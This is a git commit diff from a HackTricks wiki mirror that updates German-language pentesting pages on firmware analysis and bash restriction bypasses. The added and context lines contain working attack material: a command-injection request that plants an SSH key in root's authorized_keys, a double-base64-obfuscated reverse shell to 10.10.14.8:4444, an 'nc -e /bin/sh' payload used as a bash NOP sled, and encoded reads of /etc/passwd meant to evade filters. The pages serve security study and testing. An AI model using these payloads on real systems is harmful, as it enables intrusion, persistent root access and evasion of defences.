mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
5909494da3
commit
a678348c34
@ -4,7 +4,7 @@
|
||||
|
||||
## **Einführung**
|
||||
|
||||
Firmware ist essentielle Software, die es Geräten ermöglicht, korrekt zu funktionieren, indem sie die Kommunikation zwischen den Hardwarekomponenten und der Software, mit der die Benutzer interagieren, verwaltet und erleichtert. Sie wird im permanenten Speicher gespeichert, sodass das Gerät von dem Moment an auf wichtige Anweisungen zugreifen kann, in dem es eingeschaltet wird, was zum Start des Betriebssystems führt. Die Untersuchung und potenzielle Modifikation der Firmware ist ein kritischer Schritt zur Identifizierung von Sicherheitsanfälligkeiten.
|
||||
Firmware ist essentielle Software, die es Geräten ermöglicht, korrekt zu funktionieren, indem sie die Kommunikation zwischen den Hardwarekomponenten und der Software, mit der die Benutzer interagieren, verwaltet und erleichtert. Sie wird im permanenten Speicher gespeichert, sodass das Gerät von dem Moment an, in dem es eingeschaltet wird, auf wichtige Anweisungen zugreifen kann, was zum Start des Betriebssystems führt. Die Untersuchung und potenzielle Modifikation der Firmware ist ein kritischer Schritt zur Identifizierung von Sicherheitsanfälligkeiten.
|
||||
|
||||
## **Informationsbeschaffung**
|
||||
|
||||
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es wahrscheinlich nicht verschlüsselt. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
|
||||
Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es unwahrscheinlich, dass es verschlüsselt ist. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
|
||||
|
||||
Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die im Firmware eingebettet sind**, zu extrahieren:
|
||||
|
||||
@ -91,11 +91,11 @@ Alternativ kann auch der folgende Befehl ausgeführt werden.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
- Für squashfs (im obigen Beispiel verwendet)
|
||||
- Für squashfs (wie im obigen Beispiel verwendet)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Die Dateien befinden sich danach im "`squashfs-root`" Verzeichnis.
|
||||
Die Dateien befinden sich danach im Verzeichnis "`squashfs-root`".
|
||||
|
||||
- CPIO-Archivdateien
|
||||
|
||||
@ -113,7 +113,7 @@ Die Dateien befinden sich danach im "`squashfs-root`" Verzeichnis.
|
||||
|
||||
## Firmware-Analyse
|
||||
|
||||
Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Werkzeuge zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
|
||||
Sobald die Firmware beschafft ist, ist es wichtig, sie zu zerlegen, um ihre Struktur und potenzielle Schwachstellen zu verstehen. Dieser Prozess umfasst die Nutzung verschiedener Tools zur Analyse und zum Extrahieren wertvoller Daten aus dem Firmware-Image.
|
||||
|
||||
### Werkzeuge zur ersten Analyse
|
||||
|
||||
@ -126,7 +126,7 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während hohe Entropie auf mögliche Verschlüsselung oder Kompression hindeutet.
|
||||
Um den Verschlüsselungsstatus des Images zu bewerten, wird die **Entropie** mit `binwalk -E <bin>` überprüft. Niedrige Entropie deutet auf einen Mangel an Verschlüsselung hin, während hohe Entropie auf mögliche Verschlüsselung oder Kompression hinweist.
|
||||
|
||||
Für das Extrahieren von **eingebetteten Dateien** werden Werkzeuge und Ressourcen wie die Dokumentation zu **file-data-carving-recovery-tools** und **binvis.io** zur Dateiansicht empfohlen.
|
||||
|
||||
@ -138,13 +138,13 @@ $ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Danach werden je nach Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs) verschiedene Befehle verwendet, um die Inhalte manuell zu extrahieren.
|
||||
Danach, abhängig vom Dateisystemtyp (z. B. squashfs, cpio, jffs2, ubifs), werden verschiedene Befehle verwendet, um die Inhalte manuell zu extrahieren.
|
||||
|
||||
### Dateisystemanalyse
|
||||
|
||||
Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeiten. Es wird auf unsichere Netzwerk-Daemons, hardcodierte Anmeldeinformationen, API-Endpunkte, Funktionen von Update-Servern, nicht kompilierte Codes, Startskripte und kompilierte Binärdateien für die Offline-Analyse geachtet.
|
||||
Mit dem extrahierten Dateisystem beginnt die Suche nach Sicherheitsanfälligkeiten. Es wird auf unsichere Netzwerk-Daemons, hardcodierte Anmeldeinformationen, API-Endpunkte, Funktionen des Update-Servers, nicht kompilierte Codes, Startskripte und kompilierte Binärdateien für die Offline-Analyse geachtet.
|
||||
|
||||
**Wichtige Standorte** und **Elemente**, die zu überprüfen sind, umfassen:
|
||||
**Wichtige Standorte** und **Elemente**, die zu inspizieren sind, umfassen:
|
||||
|
||||
- **etc/shadow** und **etc/passwd** für Benutzeranmeldeinformationen
|
||||
- SSL-Zertifikate und Schlüssel in **etc/ssl**
|
||||
@ -158,13 +158,13 @@ Mehrere Tools helfen dabei, sensible Informationen und Schwachstellen im Dateisy
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) für umfassende Firmware-Analysen
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) und [**EMBA**](https://github.com/e-m-b-a/emba) für statische und dynamische Analysen
|
||||
|
||||
### Sicherheitsüberprüfungen von kompilierten Binärdateien
|
||||
### Sicherheitsprüfungen von kompilierten Binärdateien
|
||||
|
||||
Sowohl Quellcode als auch kompilierte Binärdateien, die im Dateisystem gefunden werden, müssen auf Schwachstellen überprüft werden. Tools wie **checksec.sh** für Unix-Binärdateien und **PESecurity** für Windows-Binärdateien helfen dabei, ungeschützte Binärdateien zu identifizieren, die ausgenutzt werden könnten.
|
||||
|
||||
## Emulation von Firmware für dynamische Analysen
|
||||
|
||||
Der Prozess der Emulation von Firmware ermöglicht **dynamische Analysen** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie z. B. einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
|
||||
Der Prozess der Emulation von Firmware ermöglicht die **dynamische Analyse** entweder des Betriebs eines Geräts oder eines einzelnen Programms. Dieser Ansatz kann auf Herausforderungen mit Hardware- oder Architekturabhängigkeiten stoßen, aber das Übertragen des Root-Dateisystems oder spezifischer Binärdateien auf ein Gerät mit passender Architektur und Endianness, wie einem Raspberry Pi, oder auf eine vorgefertigte virtuelle Maschine, kann weitere Tests erleichtern.
|
||||
|
||||
### Emulation einzelner Binärdateien
|
||||
|
||||
@ -192,11 +192,11 @@ Tools wie [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi
|
||||
|
||||
## Dynamische Analyse in der Praxis
|
||||
|
||||
In diesem Stadium wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
|
||||
In dieser Phase wird entweder eine reale oder emulierte Geräteumgebung für die Analyse verwendet. Es ist wichtig, den Shell-Zugriff auf das Betriebssystem und das Dateisystem aufrechtzuerhalten. Die Emulation kann die Hardware-Interaktionen möglicherweise nicht perfekt nachahmen, was gelegentliche Neustarts der Emulation erforderlich macht. Die Analyse sollte das Dateisystem erneut überprüfen, exponierte Webseiten und Netzwerkdienste ausnutzen und Bootloader-Schwachstellen erkunden. Firmware-Integritätstests sind entscheidend, um potenzielle Backdoor-Schwachstellen zu identifizieren.
|
||||
|
||||
## Laufzeitanalysetechniken
|
||||
## Laufzeitanalyse-Techniken
|
||||
|
||||
Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in seiner Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
|
||||
Die Laufzeitanalyse umfasst die Interaktion mit einem Prozess oder einer Binärdatei in ihrer Betriebsumgebung, wobei Tools wie gdb-multiarch, Frida und Ghidra verwendet werden, um Haltepunkte zu setzen und Schwachstellen durch Fuzzing und andere Techniken zu identifizieren.
|
||||
|
||||
## Binär-Exploitation und Proof-of-Concept
|
||||
|
||||
@ -208,9 +208,52 @@ Betriebssysteme wie [AttifyOS](https://github.com/adi0x90/attifyos) und [EmbedOS
|
||||
|
||||
## Vorbereitete OSs zur Analyse von Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen hilft, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ist eine Distribution, die Ihnen helfen soll, Sicherheitsbewertungen und Penetrationstests von Internet of Things (IoT)-Geräten durchzuführen. Es spart Ihnen viel Zeit, indem es eine vorkonfigurierte Umgebung mit allen notwendigen Tools bereitstellt.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Eingebettetes Sicherheitstestbetriebssystem basierend auf Ubuntu 18.04, vorinstalliert mit Tools für die Sicherheitstests von Firmware.
|
||||
|
||||
## Firmware-Downgrade-Angriffe & Unsichere Aktualisierungsmechanismen
|
||||
|
||||
Selbst wenn ein Anbieter kryptografische Signaturprüfungen für Firmware-Images implementiert, **wird der Schutz vor Versionsrücksetzungen (Downgrade) häufig weggelassen**. Wenn der Boot- oder Wiederherstellungs-Loader nur die Signatur mit einem eingebetteten öffentlichen Schlüssel überprüft, aber die *Version* (oder einen monotonen Zähler) des geflashten Images nicht vergleicht, kann ein Angreifer legitim eine **ältere, anfällige Firmware installieren, die immer noch eine gültige Signatur trägt** und somit gepatchte Schwachstellen wieder einführen.
|
||||
|
||||
Typischer Angriffsablauf:
|
||||
|
||||
1. **Erhalten Sie ein älteres signiertes Image**
|
||||
* Laden Sie es von dem öffentlichen Download-Portal, CDN oder Support-Website des Anbieters herunter.
|
||||
* Extrahieren Sie es aus begleitenden mobilen/desktopp Anwendungen (z. B. innerhalb einer Android-APK unter `assets/firmware/`).
|
||||
* Holen Sie es aus Drittanbieter-Repositories wie VirusTotal, Internet-Archiven, Foren usw.
|
||||
2. **Laden Sie das Image auf das Gerät hoch oder stellen Sie es bereit** über jeden exponierten Aktualisierungskanal:
|
||||
* Web-UI, mobile-App-API, USB, TFTP, MQTT usw.
|
||||
* Viele Verbraucher-IoT-Geräte bieten *unauthentifizierte* HTTP(S)-Endpunkte, die Base64-kodierte Firmware-Blobs akzeptieren, diese serverseitig decodieren und die Wiederherstellung/Aktualisierung auslösen.
|
||||
3. Nach dem Downgrade eine Schwachstelle ausnutzen, die in der neueren Version gepatcht wurde (zum Beispiel einen Befehlseinschleusungsfilter, der später hinzugefügt wurde).
|
||||
4. Optional das neueste Image zurückflashen oder Updates deaktivieren, um eine Entdeckung zu vermeiden, sobald Persistenz erreicht ist.
|
||||
|
||||
### Beispiel: Befehlseinschleusung nach Downgrade
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
In der verwundbaren (heruntergestuften) Firmware wird der `md5`-Parameter direkt in einen Shell-Befehl ohne Sanitärung eingefügt, was die Injektion beliebiger Befehle ermöglicht (hier – Aktivierung des SSH-Schlüssel-basierten Root-Zugriffs). Spätere Firmware-Versionen führten einen grundlegenden Zeichenfilter ein, aber das Fehlen eines Downgrade-Schutzes macht die Lösung wirkungslos.
|
||||
|
||||
### Extrahieren von Firmware aus mobilen Apps
|
||||
|
||||
Viele Anbieter bündeln vollständige Firmware-Images in ihren Begleitmobilanwendungen, damit die App das Gerät über Bluetooth/Wi-Fi aktualisieren kann. Diese Pakete werden häufig unverschlüsselt im APK/APEX unter Pfaden wie `assets/fw/` oder `res/raw/` gespeichert. Tools wie `apktool`, `ghidra` oder sogar einfaches `unzip` ermöglichen es Ihnen, signierte Images zu extrahieren, ohne die physische Hardware zu berühren.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Checklist zur Bewertung der Update-Logik
|
||||
|
||||
* Ist der Transport/Authentifizierung des *Update-Endpunkts* angemessen geschützt (TLS + Authentifizierung)?
|
||||
* Vergleicht das Gerät **Versionsnummern** oder einen **monotonen Anti-Rollback-Zähler** vor dem Flashen?
|
||||
* Wird das Image innerhalb einer sicheren Boot-Kette verifiziert (z.B. Signaturen, die vom ROM-Code überprüft werden)?
|
||||
* Führt der Userland-Code zusätzliche Plausibilitätsprüfungen durch (z.B. erlaubte Partitionstabelle, Modellnummer)?
|
||||
* Nutzen *partielle* oder *Backup*-Update-Flows die gleiche Validierungslogik?
|
||||
|
||||
> 💡 Wenn eines der oben genannten fehlt, ist die Plattform wahrscheinlich anfällig für Rollback-Angriffe.
|
||||
|
||||
## Verwundbare Firmware zum Üben
|
||||
|
||||
Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folgenden verwundbaren Firmware-Projekte als Ausgangspunkt.
|
||||
@ -232,8 +275,9 @@ Um das Entdecken von Schwachstellen in Firmware zu üben, verwenden Sie die folg
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Schulung und Zertifizierung
|
||||
## Training und Zertifizierung
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Kurze Rev Shell
|
||||
### Kurze Rev-Shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
@ -105,16 +105,16 @@ echo "ls\x09-l" | bash
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Umgehen von Backslash und Slash
|
||||
### Umgehung von Backslash und Slash
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Pipes umgehen
|
||||
### Bypass-Pipes
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Umgehung mit Hex-Codierung
|
||||
### Bypass mit Hex-Encoding
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
@ -124,7 +124,7 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```
|
||||
### Umgehen von IPs
|
||||
### Bypass IPs
|
||||
```bash
|
||||
# Decimal IPs
|
||||
127.0.0.1 == 2130706433
|
||||
@ -140,12 +140,12 @@ echo ${PATH:0:1} #/
|
||||
```
|
||||
### DNS-Datenexfiltration
|
||||
|
||||
Sie könnten zum Beispiel **burpcollab** oder [**pingb**](http://pingb.in) verwenden.
|
||||
Sie könnten **burpcollab** oder [**pingb**](http://pingb.in) verwenden, zum Beispiel.
|
||||
|
||||
### Builtins
|
||||
|
||||
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht alle** der **Builtins** verwenden können, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
|
||||
Zuerst überprüfen Sie alle [**Shell-Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
|
||||
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf eine **begrenzte Menge an Builtins haben, um RCE zu erhalten**, gibt es einige nützliche Tricks, um dies zu tun. Normalerweise **werden Sie nicht in der Lage sein, alle** der **Builtins** zu verwenden, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Jail zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
|
||||
Zuerst überprüfen Sie alle [**Shell Builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
@ -308,11 +308,33 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## References & More
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Wenn eine Schwachstelle es Ihnen ermöglicht, ein Argument teilweise zu kontrollieren, das letztendlich `system()` oder eine andere Shell erreicht, wissen Sie möglicherweise nicht den genauen Offset, an dem die Ausführung beginnt, Ihre Nutzlast zu lesen. Traditionelle NOP-Sleds (z. B. `\x90`) funktionieren in der Shell-Syntax **nicht**, aber Bash ignoriert harmlos führende Leerzeichen, bevor ein Befehl ausgeführt wird.
|
||||
|
||||
Daher können Sie einen *NOP sled für Bash* erstellen, indem Sie Ihren echten Befehl mit einer langen Folge von Leerzeichen oder Tabulatorzeichen voranstellen:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Wenn eine ROP-Kette (oder eine andere Speicherbeschädigungsprimitive) den Befehlszeiger irgendwo innerhalb des Speicherblocks platziert, überspringt der Bash-Parser einfach die Leerzeichen, bis er `nc` erreicht, und führt Ihren Befehl zuverlässig aus.
|
||||
|
||||
Praktische Anwendungsfälle:
|
||||
|
||||
1. **Speichermapped-Konfigurationsblobs** (z. B. NVRAM), die prozessübergreifend zugänglich sind.
|
||||
2. Situationen, in denen der Angreifer keine NULL-Bytes schreiben kann, um die Nutzlast auszurichten.
|
||||
3. Eingebettete Geräte, bei denen nur BusyBox `ash`/`sh` verfügbar ist – sie ignorieren ebenfalls führende Leerzeichen.
|
||||
|
||||
> 🛠️ Kombinieren Sie diesen Trick mit ROP-Gadgets, die `system()` aufrufen, um die Exploit-Zuverlässigkeit auf speicherbeschränkten IoT-Routern erheblich zu erhöhen.
|
||||
|
||||
## Referenzen & Mehr
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user